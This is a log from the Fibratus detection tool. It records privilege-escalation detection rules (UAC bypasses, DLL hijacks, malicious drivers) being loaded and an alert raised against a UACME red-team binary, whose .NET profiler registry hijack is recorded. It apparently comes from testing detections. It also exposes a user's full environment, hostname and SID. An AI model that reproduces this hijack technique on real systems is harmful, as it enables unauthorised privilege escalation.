flush-interval=>1s buffer-size=>512 enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-fileio=>true enable-net=>true enable-registry=>true enable-mem=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info log-stdout=>true formatter=>text max-backups=>15 max-age=>0] + output ......................... [ http=>[ serializer=>json tls-insecure-skip-verify=>false timeout=>5s enabled=>false enable-gzip=>false method=>POST endpoints=>[]] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ durable=>false passive=>false timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic enabled=>false vhost=>/ delivery-mode=>transient routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ gzip-compression=>false enabled=>false healthcheck-interval=>10s timeout=>5s trace-log=>false sniff=>false servers=>[http://127.0.0.1:9200] healthcheck=>true template-name=>fibratus index-name=>fibratus flush-period=>1s healthcheck-timeout=>5s bulk-workers=>1] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false scan-timeout=>10s skip-files=>false excluded-files=>[] skip-registry=>false excluded-procs=>[] skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-02T15:39:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:39:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:39:15+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): source=action/alert.go:37 +time=2025-12-02T15:41:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T15:41:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:41:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:42:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T15:42:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T15:42:27+01:00 level=info msg=bootstrapping with pid 16288. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T15:42:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-mem=>true enable-net=>true enable-image=>true enable-vamap=>true stack-enrichment=>true buffer-size=>512 min-buffers=>16 enable-audit-api=>true max-buffers=>36 enable-fileio=>true enable-handle=>false enable-dns=>false enable-registry=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-size=>100 max-backups=>15 level=>info max-age=>0] + output ......................... [ http=>[ timeout=>5s method=>POST serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ bulk-workers=>1 enabled=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck=>true index-name=>fibratus gzip-compression=>false healthcheck-interval=>10s trace-log=>false timeout=>5s flush-period=>1s sniff=>false healthcheck-timeout=>5s] amqp=>[ durable=>false vhost=>/ url=>amqp://localhost:5672 exchange-type=>topic passive=>false delivery-mode=>transient enabled=>false tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus exchange=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true excluded-files=>[] excluded-procs=>[] scan-timeout=>10s skip-registry=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-02T15:42:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:42:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:43:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T15:43:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:43:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-02T15:44:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-02T15:44:09+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-02T15:44:09+01:00 level=info msg=bootstrapping with pid 5980. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-02T15:44:09+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false buffer-size=>512 enable-vamap=>true enable-mem=>true enable-fileio=>true enable-image=>true enable-threadpool=>false max-buffers=>36 enable-audit-api=>true flush-interval=>1s min-buffers=>16 enable-net=>true enable-registry=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 log-stdout=>true max-age=>0 formatter=>text level=>info] + output ......................... [ http=>[ enabled=>false tls-insecure-skip-verify=>false timeout=>5s method=>POST serializer=>json enable-gzip=>false endpoints=>[]] elasticsearch=>[ timeout=>5s trace-log=>false template-name=>fibratus bulk-workers=>1 enabled=>false sniff=>false gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus healthcheck-interval=>10s flush-period=>1s healthcheck=>true servers=>[http://127.0.0.1:9200]] eventlog=>[ level=>info enabled=>false] amqp=>[ enabled=>false exchange-type=>topic url=>amqp://localhost:5672 durable=>false passive=>false routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] excluded-files=>[] skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false scan-timeout=>10s skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-02T15:44:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:44:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T15:44:18+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1823142 + Pid: 12276 + Tid: 16336 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 15:44:16.4802925 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508bbf30ac0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, rule.seq.link: 16362572166505455993, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation + + Pid: 12276 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 